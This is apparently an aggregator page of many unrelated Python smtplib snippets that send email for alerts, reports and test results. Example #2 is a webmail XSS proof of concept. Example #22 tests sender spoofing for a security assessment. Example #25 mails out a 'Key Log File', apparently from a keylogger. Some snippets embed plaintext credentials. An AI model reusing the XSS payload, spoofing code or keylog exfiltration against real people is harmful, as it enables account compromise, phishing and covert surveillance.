Пример #1
0
columnList = []

product = pd.DataFrame(rowList, columns=["상품", "가격(원)"])
# csv파일로 저장
product.to_csv("./selenium_KSH.csv", index=False)

# bat 파일 만들기
bat = open("seleniumProcess_ksh.bat", "w", encoding="utf-8")
bat.write("python seleniumProcess_ksh.py\npause")
bat.close()

import smtplib
from email.message import EmailMessage

# GMAIL 메일 설정
smtp_gmail = smtplib.SMTP('smtp.gmail.com', 587)
# 서버 연결을 설정하는 단계
smtp_gmail.ehlo()
# 연결을 암호화
smtp_gmail.starttls()
#로그인
userid = "seunghyun7272"

import pickle  # 패스워드 암호화

# 제출용 (비밀번호는 save로 암호화한 후 load만 사용)
mypass = '******'

# save
with open('ksh.pickle', 'wb') as f:
   pickle.dump(mypass, f, pickle.HIGHEST_PROTOCOL)
Пример #2
0
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"
 
# SETTINGS
 
sender = "attacker@localhost"
smtp_login = sender
smtp_password = "******"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Hastymail2 Webmail XSS POC"
xss_payload = """<script>alert("XSS")</script>"""
 
# SEND E-MAIL
 
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Пример #3
0
def init(email, password):
    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(email, password)
    return s
Пример #4
0
 def __init__(self,host="localhost",port=25):
     self.mail=None
     self.smtpObj=smtplib.SMTP(host=host,port=port)
     self.smtpObj.connect(host,port)
            
            if response.ok:
                resp_json = response.json()
                
                if resp_json["centers"]:
                    for center in resp_json["centers"]:
                        for session in center["sessions"]:
                            # change available_capacity_dose2 to available_capacity_dose1 for does 1 acoordingly
                            if session["min_age_limit"] <= age and session["available_capacity_dose2"]>0:
                                s += "\t " + center["name"]
                                s +="\t " + center["block_name"]
                                s +="\t Price: " + center["fee_type"]
                                s +="\t Available Capacity: " + str(session["available_capacity"])
                                if(session["vaccine"] != ''):
                                    s+="\t Vaccine: " + session["vaccine"]
                                s += "\t" + session["date"] + "\n\n"

                               
        if s!="":
            # print(s) 
            with smtplib.SMTP('smtp.gmail.com',587) as smtp:
                smtp.ehlo()
                smtp.starttls()
                smtp.ehlo()
                smtp.login(email, twofaauth)
                smtp.sendmail(email, email, 'Subject: Vaccine Notification\n\n'+s)
        time.sleep(1800)
        # print(cnt)
    except:
        pass
import smtplib

# Server
server_smtp = 'localhost'
server_port = 1025

# User secure SMTP
user = '******'
passwd = 'demo'

# Msg info
sender = '*****@*****.**'
receivers = 'bar@localhost'
txt = "Here's my message!"

msg = """From: %s
To: %s

%s
""" % (sender, receivers, txt)

server = smtplib.SMTP(server_smtp, port=server_port)
server.set_debuglevel(1)
server.login(user, passwd)
server.sendmail(sender, receivers, msg)
server.quit()
Пример #7
0
class Utilities:
    '''
       Utilities will take care about the basic functions like :
       * Extended assertion,
       * parse_args for key-value pair handling
       * Parsing the params or topology file.
    '''
    
    def __init__(self):
        self.wrapped = sys.modules[__name__]

    def __getattr__(self, name):
        '''
        This will invoke, if the attribute wasn't found the usual ways.
        Here it will look for assert_attribute and will execute when AttributeError occurs.
        It will return the result of the assert_attribute.
        '''
        try:
            return getattr(self.wrapped, name)
        except AttributeError:
            def assertHandling(**kwargs):
                nameVar = re.match("^assert",name,flags=0) 
                matchVar = re.match("assert(_not_|_)(equals|matches|greater|lesser)",name,flags=0)
                notVar = 0
                operators = ""

                try :
                    if matchVar.group(1) == "_not_" and matchVar.group(2) :
                        notVar = 1
                        operators = matchVar.group(2)
                    elif matchVar.group(1) == "_" and matchVar.group(2):
                        operators = matchVar.group(2)
                except AttributeError:
                    if matchVar==None and nameVar:
                        operators ='equals'
                result = self._assert(NOT=notVar,operator=operators,**kwargs)
                if result == main.TRUE:
                    main.log.info("Assertion Passed")
                    main.STEPRESULT = main.TRUE
                elif result == main.FALSE:
                    main.log.warn("Assertion Failed")
                    main.STEPRESULT = main.FALSE
                else:
                    main.log.error("There is an Error in Assertion")
                    main.STEPRESULT = main.ERROR
                return result
            return assertHandling

    def _assert (self,**assertParam):
        '''
        It will take the arguments :
        expect:'Expected output'
        actual:'Actual output'
        onpass:'******'
        onfail:'Action or string to be triggered or displayed respectively when the assert failed'
        not:'optional argument to specify the negation of the each assertion type'
        operator:'assertion type will be defined by using operator. Like equal , greater, lesser, matches.'

        It will return the assertion result.

        '''

        arguments = self.parse_args(["EXPECT","ACTUAL","ONPASS","ONFAIL","NOT","OPERATOR"],**assertParam)

        result = 0
        valuetype = ''
        operation = "not "+ str(arguments["OPERATOR"]) if arguments['NOT'] and arguments['NOT'] == 1 else arguments["OPERATOR"]
        operators = {'equals':{'STR':'==','NUM':'=='}, 'matches' : '=~', 'greater':'>' ,'lesser':'<'}

        expectMatch = re.match('^\s*[+-]?0(e0)?\s*$', str(arguments["EXPECT"]), re.I+re.M)
        if not ((not expectMatch) and (arguments["EXPECT"]==0)):
            valuetype = 'NUM'
        else :
            if arguments["OPERATOR"] == 'greater' or arguments["OPERATOR"] == 'lesser':
                main.log.error("Numeric comparison on strings is not possibele")
                return main.ERROR

        valuetype = 'STR'
        arguments["ACTUAL"] = str(arguments["ACTUAL"])
        if arguments["OPERATOR"] != 'matches':
            arguments["EXPECT"] = str(arguments["EXPECT"])

        try :
            opcode = operators[str(arguments["OPERATOR"])][valuetype] if arguments["OPERATOR"] == 'equals' else operators[str(arguments["OPERATOR"])]

        except KeyError:
            print "Key Error in assertion"
            return main.FALSE

        if opcode == '=~':
            try:
                assert re.search(str(arguments["EXPECT"]),str(arguments["ACTUAL"]))
                result = main.TRUE
            except AssertionError:
                try :
                    assert re.match(str(arguments["EXPECT"]),str(arguments["ACTUAL"]))
                    result = main.TRUE
                except AssertionError:
                    main.log.error("Assertion Failed")
                    result = main.FALSE
        else :
            try:
                if str(opcode)=="==":
                    main.log.info("Verifying the Expected is equal to the actual or not using assert_equal")
                    if (arguments["EXPECT"] == arguments["ACTUAL"]):
                        result = main.TRUE
                    else :
                        result = main.FALSE
                elif str(opcode) == ">":
                    main.log.info("Verifying the Expected is Greater than the actual or not using assert_greater")
                    if (ast.literal_eval(arguments["EXPECT"]) > ast.literal_eval(arguments["ACTUAL"])) :
                        result = main.TRUE
                    else :
                        result = main.FALSE
                elif str(opcode) == "<":
                    main.log.info("Verifying the Expected is Lesser than the actual or not using assert_lesser")
                    if (ast.literal_eval(arguments["EXPECT"]) < ast.literal_eval(arguments["ACTUAL"])):
                        result = main.TRUE
                    else :
                        result = main.FALSE
            except AssertionError:
                main.log.error("Assertion Failed")
                result = main.FALSE
        result = result if result else 0
        result = not result if arguments["NOT"] and arguments["NOT"] == 1 else result
        resultString = ""
        if result :
            resultString = str(resultString) + "PASS"
            main.log.info(arguments["ONPASS"])
        else :
            resultString = str(resultString) + "FAIL"
            if not isinstance(arguments["ONFAIL"],str):
                eval(str(arguments["ONFAIL"]))
            else :
                main.log.error(arguments["ONFAIL"])
                main.log.report(arguments["ONFAIL"])
                main.onFailMsg = arguments[ 'ONFAIL' ]

        msg = arguments["ON" + str(resultString)]

        if not isinstance(msg,str):
            try:
                eval(str(msg))
            except SyntaxError:
                print "functin definition is not write"

        main.last_result = result
        return result

    def parse_args(self,args, **kwargs):
        '''
        It will accept the (key,value) pair and will return the (key,value) pairs with keys in uppercase.
        '''
        newArgs = {}
        for key,value in kwargs.iteritems():
            #currentKey =  str.upper(key)
            if isinstance(args,list) and str.upper(key) in args:
                for each in args:                    
                    if each==str.upper(key):
                        newArgs [str(each)] = value
                    elif each != str.upper(key) and (newArgs.has_key(str(each)) == False ):
                        newArgs[str(each)] = None
                    
                    
            
        return newArgs
    
    def send_mail(self):
        # Create a text/plain message
        msg = email.mime.Multipart.MIMEMultipart()
        try :
            if main.test_target:
                sub = "Result summary of \""+main.TEST+"\" run on component \""+main.test_target+"\" Version \""+vars(main)[main.test_target].get_version()+"\": "+str(main.TOTAL_TC_SUCCESS)+"% Passed"
            else :
                sub = "Result summary of \""+main.TEST+"\": "+str(main.TOTAL_TC_SUCCESS)+"% Passed"
        except KeyError,AttributeError:
            sub = "Result summary of \""+main.TEST+"\": "+str(main.TOTAL_TC_SUCCESS)+"% Passed"
            
        msg['Subject'] = sub
        msg['From'] = '*****@*****.**'
        msg['To'] = main.mail
        #msg['Cc'] = '*****@*****.**'
        
        # The main body is just another attachment
        body = email.mime.Text.MIMEText(main.logHeader+"\n"+main.testResult)
        msg.attach(body)
        
        # Attachment
        for filename in os.listdir(main.logdir):
            filepath = main.logdir+"/"+filename
            fp=open(filepath,'rb')
            att = email.mime.application.MIMEApplication(fp.read(),_subtype="")
            fp.close()
            att.add_header('Content-Disposition','attachment',filename=filename)
            msg.attach(att)
        
        smtp = smtplib.SMTP('198.57.211.46')
        smtp.starttls()
        smtp.login('*****@*****.**','pax@peace')
        smtp.sendmail(msg['From'],[msg['To']], msg.as_string())
        smtp.quit()
        return main.TRUE        
def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()
Пример #9
0
            if start_time.date() < keep:
                print('Deleting snapshots %s' % snapshot.id)
                snapshot.delete()
                response = response + '\n\nDeleting snapshot %s\n' % snapshot.id
                time.sleep(60)
    except:
        pass
for volume in volumes:
    try:
        snap = conn.volume_snapshots.create(volume.id, force=True)
        print('Snapshotting %s' % volume.display_name)
        response2 = response2 + '\n\nSnapshotting %s\n' % volume.display_name
    except:
        pass


def date_compare(snap1, snap2):
    if snap1.start_time > snap2.start_time:
        return -1
    elif snap1.start_time == snap2.start_time:
        return 0
    return 1

message = MIMEText ( response + response2 )
message["Subject"] = "Snapshot Monitoring %s " % start_time.date()
message["From"] = mail_from
message["To"] = mail_rcpt
smtpObj = smtplib.SMTP( mail_server )
smtpObj.sendmail(mail_from, mail_rcpt, message.as_string())
smtpObj.quit()
Пример #10
0
#Archivo que se usara para el envio de documentos

m=[]
data = {}
with open('data.json') as f:
        data = json.load(f)
msg = MIMEMultipart()

msg['From']= data['user']
msg['Subject']= str(sys.argv[1])
message= str(sys.argv[2])

msg.attach(MIMEText(message, 'plain'))

server = smtplib.SMTP('smtp.office365.com:587')

server.starttls()

server.login(data['user'], data['pass'])

g= open('Mails.txt','r')
for line in g:
    to=line
    m.append(to)
g.close

for element in m:
    print(element)
    msg['To']= element
    server.sendmail(msg['From'], msg['To'], msg.as_string())
Пример #11
0
			print link[0]
			if (hasEng) :
				tip = u'<p>-----------------------------第' + str(i) + u'条------------------------------</p>'
				tip = tip + u'<p>标题:' + title[0] + '</p>' 
				tip = tip + u'<p>发布日期:' + time[0] + '</p>'
				tip = tip + u'<p>招聘老师:' + teach + '</p>'
				tip = tip + u'<p>数量:' + count[index] + '</p>'
				tip = tip + u'<p><a href=\"' + link[0] + '\"' + u'>链接地址:' + link[0] + '</a></p>'
				td = td + tip
				i = i + 1
		td = td + "</body></html>"
		td = td.encode('utf-8')
		return td


from_addr = "*****@*****.**"
from_password = "******"
to_addr = "*****@*****.**"
cc_addr = "*****@*****.**"
smtp_server = "smtp.163.com"
msg = MIMEText(writeMail(), 'html', 'utf-8')
msg['From']=_fromat_addr(u'爬虫大师 <%s>' % from_addr)
msg['To']=_fromat_addr(u'管理员 <%s>' % to_addr)
msg['Cc']=cc_addr
msg['Subject']=Header(u'最近教师招聘信息', 'utf-8').encode()

server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, from_password)
server.sendmail(from_addr, [to_addr, cc_addr], msg.as_string())
server.quit()
Пример #12
0
from email.mime.base import MIMEBase
from email import encoders
filename="wines.csv"
attachment=open('/home/prg.py', 'rb')
p=MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition',"attachment; filename= %s" % filename)
message.attach(p)
#attach finished





message.attach(MIMEText(content, 'plain'))
session=smtplib.SMTP("smtp.gmail.com",587)
session.starttls()
session.login(host_address,host_pass)
text=message.as_string()
session.sendmail(host_address,guest_address,text)
session.quit()
print('Successfuly Sent')







Пример #13
0
response = urllib.request.urlopen("http://ip.jsontest.com/")
content = response.read()
data = json.loads(content.decode("utf8"))
#json object
#print(data)
#specify value
#print(data['ip'])
#---------------------request external ip method-----------------------

TEXT = data['ip']

# Gmail Account : Login Stage
gmail_sender = "*****@*****.**"
gmail_passwd = ""
    # Mail server connecting metchod
server = smtplib.SMTP("smtp.gmail.com",587)
server.ehlo()
server.starttls()
server.login(gmail_sender,gmail_passwd)

BODY = "\r\n".join(["To: %s" % TO,
                    "From: %s" % gmail_sender,
                    "Subject: %s" % SUBJECT,
                    "", TEXT])

try:
    server.sendmail(gmail_sender, [TO], BODY)
    print ("email sent")
except:
    print ("error : sending email")
Пример #14
0
def notify_failure(last_success, current_revision, stdout, stderr):
    """Sends a notification to all authors.

    last_success     : commit id of the last success
    current_revision : commit id of the current revision
    stdout           : of the test
    stderr           : of the test"""
    (ret, astdout, astderr) = execute_external(
        bless_command(settings["authors_command"], locals()))
    if not quiet:
        print(astdout)
        print(astderr)

    email_regex = re.compile("<(\S+@\S+\.\S+)>")
    emails = []
    for line in astdout.split('\n'):
        m = email_regex.search(line)
        if m:
            emails += [m.groups()[0]]
    if not quiet:
        print(emails)
    name = settings['name']
    branch = settings['branch']
    emails_string = "\n".join(emails)
    msg = """Hello there

You helped b0rking: %(name)s. Following people also commited on %(branch)s:

%(emails_string)s

Last success     : %(last_success)s
Current revision : %(current_revision)s
Bisect           : git bisect start %(current_revision)s %(last_success)s

STDERR:

%(stderr)s

STDOUT:

%(stdout)s

Best,
    Your Python
""" % {
        'name': name,
        'branch': branch,
        'emails_string': emails_string,
        'last_success': last_success,
        'current_revision': current_revision,
        'stderr': stderr,
        'stdout': stdout
    }

    host = settings['smtp']
    sender = "autotest@%s" % host
    s = smtplib.SMTP(host)

    for email in emails:
        if not quiet:
            print("Sending email to: %s" % email)
        coded = MIMEText(msg.encode('utf-8'), _charset='utf-8')
        coded['Subject'] = "Autotest %s" % name
        coded['From'] = sender
        coded['To'] = email
        coded['Date'] = formatdate()
        s.sendmail(sender, email, coded.as_string())
    s.quit()
Пример #15
0
import smtplib
from email.message import EmailMessage
from string import Template
from pathlib import Path

html = Template(Path('index.html').read_text())
email = EmailMessage()
email['from'] = "stunna"
email['to'] = "*****@*****.**"
email['subject'] = "python master"
email.set_content(html.substitute({'name': 'ahmed'}), 'html')
with smtplib.SMTP(host='smtp.gmail.com', port=587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    #the email that is going to be logged in
    smtp.login('*****@*****.**', 'password')
    smtp.send_message(email)
    print("all goooooooood!!!!!!!!!!!!!")
    
Пример #16
0
path = sys.argv[1]
cas = sys.argv[2]
list_files = sys.argv[3:]
print(list_files)


@dataclass
class MailOptions:
    sender: str
    receivers: List[str]
    message: str


def email_definition():
    switcher = {
        "1": MailOptions(sender, [client_receivers_test], message_to_bis),
        "2": MailOptions(sender, [client_receivers_test],
                         message_for_ftp_error),
        "3": MailOptions(sender, [client_receivers_test], message_to_bioref),
        "4": MailOptions(sender, [client_receivers_test], message_success)
    }
    return switcher.get(cas, "nothing")


if __name__ == '__main__':
    with smtplib.SMTP("smtp.lih.lu", 25) as server:
        definition = email_definition()
        server.sendmail(definition.sender, definition.receivers,
                        definition.message)
Пример #17
0
            func()

        except httplib.IncompleteRead, e:
            print e
            err_count += 1
        except ssl.SSLError, e:
            print e
            err_count += 1
        except (KeyboardInterrupt, SystemExit), e:
            print e
            raise

        time.sleep(5)

    print "5 errors, quitting"
    s = smtplib.SMTP('localhost')
    s.sendmail(config['error_email']['from'], config['error_email']['to'], "UH OH! The pusher app is down")
    s.quit()
    exit()

def stream(stream_type, config, handle_data):
    if stream_type == 'userstream':
        auth = get_oauth(config['twitter_auth'])
        stream = tweepy.Stream(auth, StreamHandler(handle_data), secure=True)
        try_and_catch_errors(stream.userstream)

    if stream_type == 'filter':
        auth = get_oauth(config['twitter_auth'])
        stream = tweepy.Stream(auth, StreamHandler(handle_data))
        try_and_catch_errors(stream.filter(track=config['search_terms']))
Пример #18
0
message.attach(msgImage)

#邮件正文内容
message.attach(MIMEText(mail_msg, 'html', 'utf-8'))
#message = MIMEText(mail_msg, 'html', 'utf-8')

# 构造附件1,传送当前目录下的 test.db 文件
#att1 = MIMEText(open('test.db', 'rb').read(), 'base64', 'utf-8')
#att1["Content-Type"] = 'application/octet-stream'
# 这里的filename可以任意写,写什么名字,邮件中显示什么名字
#att1["Content-Disposition"] = 'attachment; filename="test.db"'
#message.attach(att1)

# 构造附件2,传送当前目录下的 get_post.py 文件
att2 = MIMEText(open('pysmtp.py', 'rb').read(), 'base64', 'utf-8')
att2["Content-Type"] = 'application/octet-stream'
att2["Content-Disposition"] = 'attachment; filename="get_post.py"'
message.attach(att2)

try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, 587)  # 587 为 代理 端口号
    smtpObj.login(mail_user, mail_pass)
    smtpObj.sendmail(sender, [
        receivers,
    ], message.as_string())
    print "邮件发送成功"
    smtpObj.quit()  # 关闭连接
except smtplib.SMTPException:
    print "Error: 无法发送邮件"
Пример #19
0
sunrise_min= data_sun["results"]["sunrise"].split(":")[1]
sunrise = f"{sunrise_hour+hour_correction}h {sunrise_min} min"

sunset_hour = int(data_sun["results"]["sunset"].split(":")[0])
sunset_min = int(data_sun["results"]["sunset"].split(":")[1])
sunset = f"{sunset_hour+hour_correction+12}h {sunset_min} min"

noon_hour = int(data_sun["results"]["solar_noon"].split(":")[0])
noon_min = int(data_sun["results"]["solar_noon"].split(":")[1])
noon = f"{noon_hour+hour_correction}h {sunset_min} min"
sun_phrase = f"Demain l'heure de l'aube est {sunrise}, le soleil sera au plus haut pour {noon} et la nuit tombera aux alentours de {sunset}."


message_matin = " ainsi que ".join(meteo_matin)
message_ap_midi = " ainsi que ".join(meteo_ap_midi)
new_text = f"{sun_phrase}\n\nLe matin il y aura {message_matin}.\n\nL' après midi il y aura {message_ap_midi}.\n\nLes températures seront  comprises entre {int(temp_min_f)} C et {int(temp_max_f)} C.\n\nLe vent soufflera à  {int(vent_f)} km/h." \
           f" \n\nL'indice UV sera au maximum de {int(indice_uv_f)} "



#
for client in client_list:
    print(client)
    with smtplib.SMTP("smtp.mail.yahoo.com", port="xxx") as connection:
        connection.starttls()
        connection.login(user=my_email, password=password)
        connection.sendmail(from_addr=my_email,
                            to_addrs=client ,

                            msg=f"Subject:meteo Saint Loubes du {lendemain}\n\n"  f" {new_text} ".encode("utf-8"))
Пример #20
0
print(sender,receivers, subject)
message = '\r\n'.join(['From: %s' % sender,
                       'To: %s' % receivers[0],
                       'Subject: %s' % subject,
                      """
The GitLab CI/CD pipeline FAILED for {repo}

To skip testing and run complete pipeline without errors please include
'skip-tests' in the git commit message.

{what} 
{when} 
{who}.
""".format(when=os.environ['WHEN'], who=os.environ['WHO'], what=os.environ['WHAT'], repo=os.environ['REPO'])
                      ])

try:
   server = smtplib.SMTP('email-smtp.eu-west-1.amazonaws.com',587)
   server.ehlo()
   server.starttls()
   server.login(os.environ['SMTP_USERNAME'], os.environ['SMTP_PASSWORD'])

   server.sendmail(sender, receivers, message)         
   print ("Successfully sent email")
except Exception as ex:
   print ("Error: unable to send email for "+os.environ['SMTP_USERNAME'])

   template = "An exception of type {0} occurred. Arguments:\n{1!r}"
   print (template.format(type(ex).__name__, ex.args))
Пример #21
0
                    log = file(log_name, 'a+')
                    log.write('Daemon has been running for %s hours\n' % hour)
                    log.close()
                    now_hr = time.localtime()[3]
                    if now_hr > prev_hr:
                        master_clock = master_clock + 1
                    prev_hr = now_hr
                    serverURL = "email.biac.duke.edu"
                    if master_clock == warning_time:
                        headers = "From: %s\r\nTo: %s\r\nSubject: Daemon job still running!\r\n\r\n" % (
                            useremail, useremail)
                        text = """Your daemon job has been running for %d hours.  It will be killed after %d.
						To kill it now, log onto the head node and type kill %d""" % (
                            warning_time, max_run_hours, os.getpid())
                        message = headers + text
                        mailServer = smtplib.SMTP(serverURL)
                        mailServer.sendmail(useremail, useremail, message)
                        mailServer.quit()
                    elif master_clock == max_run_hours:
                        headers = "From: %s\r\nTo: %s\r\nSubject: Daemon job killed!\r\n\r\n" % (
                            useremail, useremail)
                        text = "Your daemon job has been killed.  It has run for the maximum time alotted"
                        message = headers + text
                        mailServer = smtplib.SMTP(serverURL)
                        mailServer.sendmail(useremail, useremail, message)
                        mailServer.quit()
                        ID = os.getpid()
                        os.system('kill ' + str(ID))

#wait for jobs to complete
#delete them if they run too long
Пример #22
0
		else:
			print colors.red + " Please check the SMTP server for typos: %s" % smtp_host + colors.normal
			smtp_slog += colors.red + "\n Error: Please check the SMTP server for typos: %s" % smtp_host + colors.normal
			print colors.red + " If your SMTP servers do not contain a typo, please report this error to Alton." + colors.normal
			print "\n Completed SMTP internal spoof test."
			smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n"
			return smtp_slog

	try: 
		smtp_subj = "SMTP Server Test"
		smtp_msg = "\r\n%s:\r\n\r\nThis message is part of a security assessment.  If this message is received, \nplease take a screenshot and forward it \nto %s.\r\n\r\nThis message was delivered through %s:%s." % (rcpt_name, consultant_email, smtp_host, str(smtp_port))
		if spoof_attach:
			smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"000Message000\"\r\n\r\n--000Message000\r\n%s\r\n\r\n--000Message000\r\nContent-Type: application/octet-stream; name=\"Attachment.txt\"\r\n\r\nSecurity Assessment (with attachment).\r\n\r\n--000Message000--\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg)
		else:
			smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\n%s\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg)
		server = smtplib.SMTP(smtp_host, smtp_port)
		# server.docmd returns ['status code','message']
		response = server.docmd("helo",domain)
		print " - Submitted 'helo %s' : %s" % (domain,str(response[0]))
		smtp_slog += "\n - Submitted 'helo %s' : %s" % (domain, str(response[0]))
		response = server.docmd("mail from:", "<%s>" % sndr_email)
		print " - Submitted 'mail from' : %s" % str(response[0])
		smtp_slog += "\n - Submitted 'mail from' : %s" % str(response[0])
		response = server.docmd("rcpt to:", "<%s>" % rcpt_email)
		print " - Submitted 'rcpt to' : %s" % str(response[0])
		smtp_slog += "\n - Submitted 'rcpt to' : %s" % str(response[0])
		if str(response[0])[0] == '5':
			print colors.red + "\n Error providing recipient email address: %s" % response[1] + colors.normal
			smtp_slog += colors.red + "\n\n Error providing recipient email address: %s" % response[1] + colors.normal
			server.quit()
			print "\n Completed SMTP internal spoof test."
Пример #23
0
msg = MIMEMultipart()

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = emailsubject

with open(emailmsgpath, 'r') as f:
    firstname = env['NAME'].split(' ')[0]
    body = f.read().format(NAME=firstname, encoding="utf-8")

msg.attach(MIMEText(body, 'plain'))

for i in range(1, len(sys.argv)):
    filename = sys.argv[i]
    with open(filename, "rb") as attachment:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header(
            'Content-Disposition',
            "attachment; filename= %s" % os.path.basename(filename))
        msg.attach(part)

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()

server.login(fromaddr, emailpassword)
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
Пример #24
0
import smtplib, ssl

smtl_server = "smtp.gmail.com"
port = 587
sender_mail = "*****@*****.**"
password = input("enter your password")

context = ssl.create_default_context()

try:
    server = smtplib.SMTP(smtl_server, port)
    server.ehlo()

    server.starttls(context) # secure your connecion
    server.ehlo()
    server.login(sender_mail, password)
except Exception as e:
    print(e)

finally:
    server.quit()
Пример #25
0
def send_email(filename, attachment, to_addr):
    """

    Send an email out to the specified address, with the specified file attached.

    Args:
        filename (str): The name of the file you wish to attach to the outgoing email.

        attachment (str): A string containing the absolute filepath to the file that you wish to attach to this
        outgoing email

        to_addr (str): A string containing the e-mail address to which you'd like the resulting email sent to.

    Returns:
        None

    """
    global config  # Config object loaded at module level

    # Grab some of our needed parameters from our config file.
    from_addr = config.get('SENDMAIL.PARTIES', 'from')
    from_usr = config.get('SENDMAIL.AUTH', 'login')
    usr_passwd = config.get('SENDMAIL.AUTH', 'password')
    host = config.get('SENDMAIL.SERVER', 'host')
    port = config.getint('SENDMAIL.SERVER', 'port')

    # Prepare our message class
    msg = MIMEMultipart()

    # Fill it
    msg['From'] = from_addr  # From:
    msg['To'] = to_addr  # To:
    msg['Subject'] = 'Key Log File'  # E-Mail subject

    body = 'Body_of_the_mail'  # Placeholder for e-mail body text

    # Attach our sorry-excuse-for-a-body to the email object.
    msg.attach(MIMEText(body, 'plain'))

    # Be implicit about what filename we're gonna mean in a couple lines.
    filename = filename

    # Read the file at the path indicated in the 'attachment' argument as a bytestream
    attachment = open(attachment, 'rb')

    p = MIMEBase('application', 'octet-stream')

    # Load our textfile payload
    p.set_payload((attachment).read())

    # Encode to Base64
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', f'attachment: filename={filename}')

    # Attach our data to the attachment of the email constructor
    msg.attach(p)

    # Establish a connection with the SMTP server
    sesh = smtplib.SMTP(host, port)

    # Secure uplink to email server
    sesh.starttls()

    # Login over secure uplink
    sesh.login(from_usr, usr_passwd)

    # Evaluate our entire email object down to a string
    text = msg.as_string()

    # Finally; send the e-mail from the address indicated in this functions
    sesh.sendmail(from_addr, to_addr, text)

    sesh.quit()
Пример #26
0
def action_send_daily_report(instance_path, address, database, testsuite, host,
                             from_address, today, subject_prefix, dry_run,
                             days, filter_machine_regex):
    """send a daily report email"""
    import contextlib
    import datetime
    import email.mime.multipart
    import email.mime.text
    import lnt.server.reporting.dailyreport
    import smtplib

    # Load the LNT instance.
    instance = lnt.server.instance.Instance.frompath(instance_path)
    config = instance.config

    # Get the database.
    with contextlib.closing(config.get_database(database)) as db:
        session = db.make_session()

        # Get the testsuite.
        ts = db.testsuite[testsuite]

        if today:
            date = datetime.datetime.utcnow()
        else:
            # Get a timestamp to use to derive the daily report to generate.
            latest = session.query(ts.Run).\
                order_by(ts.Run.start_time.desc()).limit(1).first()

            # If we found a run, use its start time (rounded up to the next
            # hour, so we make sure it gets included).
            if latest:
                date = latest.start_time + datetime.timedelta(hours=1)
            else:
                # Otherwise, just use now.
                date = datetime.datetime.utcnow()

        # Generate the daily report.
        logger.info("building report data...")
        report = lnt.server.reporting.dailyreport.DailyReport(
            ts,
            year=date.year,
            month=date.month,
            day=date.day,
            day_start_offset_hours=date.hour,
            for_mail=True,
            num_prior_days_to_include=days,
            filter_machine_regex=filter_machine_regex)
        report.build(session)

        logger.info("generating HTML report...")
        ts_url = "%s/db_%s/v4/%s" \
            % (config.zorgURL, database, testsuite)
        subject = "Daily Report: %04d-%02d-%02d" % (report.year, report.month,
                                                    report.day)
        html_report = report.render(ts_url, only_html_body=False)
        utf8_html_report = html_report.encode('utf-8')

        if subject_prefix is not None:
            subject = "%s %s" % (subject_prefix, subject)

        # Form the multipart email message.
        msg = email.mime.multipart.MIMEMultipart('alternative')
        msg['Subject'] = subject
        msg['From'] = from_address
        msg['To'] = address
        msg.attach(email.mime.text.MIMEText(utf8_html_report, 'html', 'utf-8'))

        # Send the report.
        if not dry_run:
            s = smtplib.SMTP(host)
            s.sendmail(from_address, [address], msg.as_string())
            s.quit()
        else:
            out = sys.stdout
            out.write("From: %s\n" % msg['From'])
            out.write("To: %s\n" % msg['To'])
            out.write("Subject: %s\n" % msg['Subject'])
            out.write("=== html report\n")
            out.write(html_report + "\n")
Пример #27
0
import smtplib
import sys
import json
import time

data = json.load(sys.stdin)


host = data["host"]["value"]
username = data["username"]["value"]
password = data["password"]["value"]
port = data["port"]["value"]

sender = "Private Person <*****@*****.**>"
receiver = "A Test User <*****@*****.**>"
time = time.time()

message = f"""\
Subject: Hi Mailtrap {time}
To: {receiver}
From: {sender}

This is a test e-mail message from python using the terraform provider. If you see this it is working."""

with smtplib.SMTP(host, 2525) as server:
    print(server.login(username, password))
    print(server.sendmail(sender, receiver, message))
Пример #28
0
def action_send_run_comparison(instance_path, run_a_id, run_b_id, database,
                               testsuite, host, from_address, to_address,
                               subject_prefix, dry_run):
    """send a run-vs-run comparison email"""
    import contextlib
    import email.mime.multipart
    import email.mime.text
    import lnt.server.reporting.dailyreport
    import smtplib

    init_logger(logging.ERROR)

    # Load the LNT instance.
    instance = lnt.server.instance.Instance.frompath(instance_path)
    config = instance.config

    # Get the database.
    with contextlib.closing(config.get_database(database)) as db:
        session = db.make_session()

        # Get the testsuite.
        ts = db.testsuite[testsuite]

        # Lookup the two runs.
        run_a_id = int(run_a_id)
        run_b_id = int(run_b_id)
        run_a = session.query(ts.Run).\
            filter_by(id=run_a_id).first()
        run_b = session.query(ts.Run).\
            filter_by(id=run_b_id).first()
        if run_a is None:
            logger.error("invalid run ID %r (not in database)" % (run_a_id, ))
        if run_b is None:
            logger.error("invalid run ID %r (not in database)" % (run_b_id, ))

        # Generate the report.
        data = lnt.server.reporting.runs.generate_run_data(
            session,
            run_b,
            baseurl=config.zorgURL,
            result=None,
